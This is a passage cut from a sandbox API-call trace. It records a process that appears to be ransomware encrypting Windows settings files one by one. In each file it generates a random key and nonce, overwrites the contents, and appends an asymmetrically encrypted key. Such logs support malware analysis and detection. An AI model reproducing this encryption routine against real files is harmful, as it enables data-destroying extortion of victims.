dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.518] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{E07F215A-6022-40E0-A109-17078992E5F9}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.518] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x424, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x424, lpOverlapped=0x0) returned 1 [0194.519] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1060, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.519] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x424, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x424, lpOverlapped=0x0) returned 1 [0194.520] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x424 [0194.520] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.520] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.520] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.520] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.520] CloseHandle (hObject=0x1c24) returned 1 [0194.522] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.522] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0194.522] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{E00117F3-53BA-4E06-B9BF-B8E22A1469E6}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.522] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x377, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x377, lpOverlapped=0x0) returned 1 [0194.523] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-887, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.524] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x377, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x377, lpOverlapped=0x0) returned 1 [0194.524] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x377 [0194.524] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.524] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.524] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.525] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.525] CloseHandle (hObject=0x1c24) returned 1 [0194.526] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.526] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.526] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{DF7B19EF-DEA5-47D7-BBA5-9FCBE400A59D}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.527] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4e1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e1, lpOverlapped=0x0) returned 1 [0194.528] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1249, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.528] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e1, lpOverlapped=0x0) returned 1 [0194.528] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e1 [0194.528] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.528] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.528] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.529] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.529] CloseHandle (hObject=0x1c24) returned 1 [0194.530] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.530] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.530] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{DDF23EF5-6677-42C1-92CB-29BDCB7375B8}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.531] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x42f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42f, lpOverlapped=0x0) returned 1 [0194.532] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.532] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x42f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42f, lpOverlapped=0x0) returned 1 [0194.532] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42f [0194.532] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.533] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.533] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.533] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.533] CloseHandle (hObject=0x1c24) returned 1 [0194.535] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.535] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.535] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{DD338333-7000-45CC-A84D-64680D6E683D}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.535] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x47f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x47f, lpOverlapped=0x0) returned 1 [0194.536] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1151, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.536] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x47f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47f, lpOverlapped=0x0) returned 1 [0194.537] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47f [0194.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.537] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.538] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.538] CloseHandle (hObject=0x1c24) returned 1 [0194.541] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0194.541] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0194.541] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{d9ef8727-cac2-4e60-809e-86f80a666c91}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.542] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3b0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3b0, lpOverlapped=0x0) returned 1 [0194.543] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.543] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b0, lpOverlapped=0x0) returned 1 [0194.543] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3b0 [0194.543] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.543] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.544] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.544] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.544] CloseHandle (hObject=0x1c24) returned 1 [0194.546] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.546] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.546] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{D825FEC7-DA3D-456A-BEF2-20F07BA0449E}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.546] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3f7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f7, lpOverlapped=0x0) returned 1 [0194.547] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1015, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.547] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3f7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f7, lpOverlapped=0x0) returned 1 [0194.547] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f7 [0194.548] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.548] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.548] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.548] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.548] CloseHandle (hObject=0x1c24) returned 1 [0194.550] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.550] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.550] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{D679D992-D843-4D3C-BFEA-5EDF4D37EE9F}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.550] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3f4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f4, lpOverlapped=0x0) returned 1 [0194.551] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1012, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.551] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3f4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f4, lpOverlapped=0x0) returned 1 [0194.552] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f4 [0194.552] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.552] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.552] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.552] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.553] CloseHandle (hObject=0x1c24) returned 1 [0194.554] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.554] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0194.554] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{D652F9E4-08FD-4A24-8EAC-05715188233E}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.554] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x399, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x399, lpOverlapped=0x0) returned 1 [0194.555] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-921, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.556] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x399, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x399, lpOverlapped=0x0) returned 1 [0194.556] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x399 [0194.556] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.556] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.556] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.557] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.557] CloseHandle (hObject=0x1c24) returned 1 [0194.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.558] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.558] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{D5BAC999-E706-4311-9DB0-86E117B1FD25}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.558] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x45a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x45a, lpOverlapped=0x0) returned 1 [0194.560] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1114, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.560] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x45a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x45a, lpOverlapped=0x0) returned 1 [0194.560] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x45a [0194.560] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.560] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.560] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.561] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.561] CloseHandle (hObject=0x1c24) returned 1 [0194.566] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.566] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.566] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{d555645e-d4f8-4c29-a827-d93c859c4f2a}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.566] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x362, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x362, lpOverlapped=0x0) returned 1 [0194.567] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-866, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) 